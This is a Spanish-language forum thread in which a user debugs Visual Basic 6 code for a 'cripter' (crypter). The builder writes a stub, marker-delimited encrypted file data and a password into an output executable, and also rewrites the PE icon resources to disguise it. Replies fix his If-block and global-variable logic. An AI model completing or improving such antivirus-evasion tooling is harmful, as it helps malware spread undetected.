ReDim L2Root(Root.NamedEntries + Root.IDEntries) As IMAGE_RESOURCE_DIR
' Loop through first-level child nodes and find RT_GROUP_ICON branch
For iLvl1 = 1 To (Root.NamedEntries + Root.IDEntries)
SetFilePointer hFile, ResTree + 8 + (iLvl1 * 8), 0, 0
ReadFile hFile, L1Entries(iLvl1), 8, BytesRead, ByVal 0&
If L1Entries(iLvl1).Name = &HE Then
' RT_GROUP_ICON branch found
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, Cursor, 0, 0
' Read second-level directory
ReadFile hFile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR
For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hFile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, Cursor, 0, 0
' Read thrid-level directory
ReadFile hFile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third-level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)
SetFilePointer hFile, Cursor, 0, 0
ReadFile hFile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to RESOURCE_DATA_ENTRY
CopyMemory Cursor, L3Entries(iLvl3).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, Cursor, 0, 0
ReDim Preserve DataEntries(iLvl3) As RESOURCE_DATA_ENTRY
ReadFile hFile, DataEntries(iLvl3), 16, BytesRead, ByVal 0&
' Jump to and read ICON_DIR structure
Cursor = RVA_to_Offset(DataEntries(iLvl3).Offset)
SetFilePointer hFile, Cursor, 0, 0
ReadFile hFile, IcoDir, 6, BytesRead, ByVal 0&
For intC = 1 To IcoDir.Count
WriteFile hFile, DIBAttrib, Len(DIBAttrib) - 4, BytesRead, ByVal 0&
SetFilePointer hFile, 2, 0, 1
Next intC
Next iLvl3
Next iLvl2
ElseIf L1Entries(iLvl1).Name = 3 Then
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, ByVal Cursor, 0, 0
' Read second-level directory
ReadFile hFile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As RESOURCE_DIR_ENTRY
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As IMAGE_RESOURCE_DIR
For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hFile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hFile, Cursor, 0, 0
' Read thrid-level directory
ReadFile hFile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As RESOURCE_DIR_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third-level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)
SetFilePointer hFile, Cursor, 0, 0
ReadFile hFile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to and hack the RESOURCE_DATA_ENTRY
Cursor = L3Entries(iLvl3).Offset + ResTree
SetFilePointer hFile, Cursor, 0, 0
WriteFile hFile, DIBOffset, 4, BytesRead, ByVal 0&
WriteFile hFile, CLng(DIBAttrib.dwBytesInRes + 40), 4, BytesRead, ByVal 0&
Next iLvl3
Next iLvl2
End If
Next iLvl1
Else
HackDirectories = False
Exit Function
End If
HackDirectories = True
Exit Function
ErrHandler:
MsgBox "An error occurred while modifying the resource directories. " _
& " Please make sure neither of the specified files are in use.", vbOKOnly + vbExclamation, _
App.EXEName & " - " & eRR.Description
End Function
Private Function RVA_to_Offset(RVA As Long) As Long
On Error GoTo ErrHandler:
Dim TempOffset As Long ' Difference of RVA and start of section
TempOffset = RVA - ResSectionRVA
If (TempOffset >= 0) Then
' Calculate the file offset of the RVA
RVA_to_Offset = ResSectionOffset + TempOffset
Else
RVA_to_Offset = -1
End If
Exit Function
ErrHandler:
MsgBox "Error in RVA_to_Offset function: " & eRR.Number & ": " & eRR.Description, _
vbOKOnly + vbExclamation, App.EXEName & " - Error"
End Function
Private Function Offset_to_RVA(Offset As Long) As Long
On Error GoTo ErrHandler:
Dim TempOffset As Long ' Difference of Offset and start of section
' Get distance between offset and start of resource section
TempOffset = Offset - ResSectionOffset
If TempOffset >= 0 Then
' Calculate RVA of the file offset
Offset_to_RVA = ResSectionRVA + TempOffset
Else
Offset_to_RVA = -1
End If
Exit Function
ErrHandler:
MsgBox "Error in Offset_to_RVA function: " & eRR.Number & ": " & eRR.Description, _
vbOKOnly + vbExclamation, App.EXEName & " - Error"
End Function
es un poco largo,pero ara que se entienda bien.
lo que yo ago:
abro un form2,le agrego 1 picture, un boton,un text el comondialogo y este es el codigo:
Private Sub Command1_Click()
Form2.Hide
End Sub
Public Sub Picture1_Click()
With CD
.DialogTitle = "Seleccione el icono a canbiar!" 'Sera el titulo que le aparecera en el Dialogo de Seleccionar Archivo
.Filter = "Aplicaciones ico|*.ico" 'Filtramos los archivos para que solo se puedan escoger archivos .exe
.ShowOpen 'Mostramos el Dialogo de seleccionar
End With 'Terminamos el With antes abierto
If CD.FileName <> "" Then Text1.Text = CD.FileName
Picture1.Picture = LoadPicture(Text1.Text)
cargado = True
End Sub
y luego se supone que en el cripter,cuando termina de crear el archivo final con el stub y todo ,y le mete el eofdata,luego pongo:
If cargado = True Then
ReplaceIcons Form2.Text1.Text, CD.FileName, eRR
End If
si cargado es = a verdadero,coje del text1 del form2 la direccion del icono (Source ) y se lo canbiaria, al archivo recientemente creado(Dest) y luego err.
pero llevo 3 o 4 horas liao y no doy pata con bolo. alguna idea? estaba pensando en vez poner true a cargado,poner un check,aun que asin deberia ir no?
un salu2 y gracias
este codigo:
Public Sub Picture1_Click()
With CD
.DialogTitle = "Seleccione el icono a canbiar!" 'Sera el titulo que le aparecera en el Dialogo de Seleccionar Archivo
.Filter = "Aplicaciones ico|*.ico" 'Filtramos los archivos para que solo se puedan escoger archivos .exe
.ShowOpen 'Mostramos el Dialogo de seleccionar
End With 'Terminamos el With antes abierto
If CD.FileName <> "" Then Text1.Text = CD.FileName
Picture1.Picture = LoadPicture(Text1.Text)
cargado = True
End Sub
a la vista mia ya veo que no anda.primero veamos la logica del codigo (que no esta ni indentado), entonces quedaria asi:
Public Sub Picture1_Click()
With cd
.DialogTitle = "Seleccione el icono a canbiar!" 'Sera el titulo que le aparecera en el Dialogo de Seleccionar Archivo
.Filter = "Aplicaciones ico|*.ico" 'Filtramos los archivos para que solo se puedan escoger archivos .exe
.ShowOpen 'Mostramos el Dialogo de seleccionar
End With 'Terminamos el With antes abierto
If cd.FileName <> "" Then Text1.Text = cd.FileName
Picture1.Picture = LoadPicture(Text1.Text)
cargado = True
End Sub
no estas cerrando el if y eso hace que el programa SIEMRPE carge algo en el picturebox, y si seleccionas cancelar del commondialog te carga una cadena vacia en el picturebox lo cual genera un error y CARGADO siempre va a ser = TRUE
nunca deberias usar algo como Form2.Text1.Text, eso de andar sacando valores de textbox de otros forms es chapuza, mejor declarar una variable global que guarde el valor de ese "Form2.Text1.Text" y ni necesitas hacerle el .Hide al formulario que de paso tambien el .Hide ni se deberia usar.
y el .exe a cambiar donde lo seleccionas??
saludos.
seba123neo 1º gracias por contestar,aver si me esplico bien.
con los if no me llevo bien,como se cierran?alguna html que pueda entender facil?,yo cuando le doy a carga,carga bien en el picture, el iono y en el text la direccion del icono.
cargado, daria false con cancelar,si cerrara el if ?,Form2.Text1.Text jaja,si vastante chapuzero soy es que no sabia otra forma de llamarla. y sobre lo de esconder el segundo form con .hide,como lo hacen ustedes? por que si no quedaria a la vista y to feo,aparte que molestaria un poco. y tanpoco se si al cerrar el form1 se cierra el 2 tanbien.
y el .exe a cambiar donde lo seleccionas?? esto te lo explicare ahora,intente modificar siguiendo tus consejos ( no logre mucho :-( ).
aver,cree un modulo con el nombre variable,y puse dentro estas 2 variables:
Global rutadelicono$ y Global rutadelexe$
como no me dejaba Global rutadelicono as integer pos puse $ que ley que era = hace tiempo otravez chapuceando :¬¬ mas tarde intente modificar el form2 intentando cerrar el if con algo asin.
Public Sub Picture1_Click()
With CD
.DialogTitle = "Seleccione el icono a canbiar!" 'Sera el titulo que le aparecera en el Dialogo de Seleccionar Archivo
.Filter = "Aplicaciones ico|*.ico" 'Filtramos los archivos para que solo se puedan escoger archivos .exe
.ShowOpen 'Mostramos el Dialogo de seleccionar
End With 'Terminamos el With antes abierto
If CD.FileName <> "" Then Text1.Text = CD.FileName
Picture1.Picture = LoadPicture(Text1.Text)
rutadelicono = Text1.Text
If Text1.Text <> "" Then cargado = True
Else
cargado = False
End If
End Sub
lo de antes,empiezo cargando la ruta del icono al text1 de hay al picture y rutadelicono = Text1.Text.
luego si texte1 contiene la ruta del icono (algo),no se como explicarlo, cargado es = a verdadero y sino a false.
y ahora paso al cripter form1:
aver abro el exe en el form1 con el cd,le inserto los datos stub,marca,aremcriptado ect y lo cierro. y le digo que rutadelexe es = a cd.felename (que seria la ruta del exe nuevo) y termino escribiendo el eof si es que tiene y mando un msgbox " cifrado" por ejemplo y cierro se supone.codigo:
Open CD.FileName For Binary As #1 'Abrimos un Archivo binario k selecciono el usuario anteriormente!
Put #1, , stub & "marca" & arencriptado & "marca" & pass & "marca"
Close #1 ' Cerramos el Archivo!
End If
rutadelexe = CD.FileName
If cargado = True Then
ReplaceIcons rutadelicono, rutadelexe, Err
End If
Call WriteEOFData(CD.FileName, TheEOF)
MsgBox "Archivo cifrado Correctamente!", vbInformation, Me.Caption
End If
End If
End Sub
pero sigo enlas mismas,y no se cuantas vueltas darle +.
mientras voy aver que consigo con un check.
gracias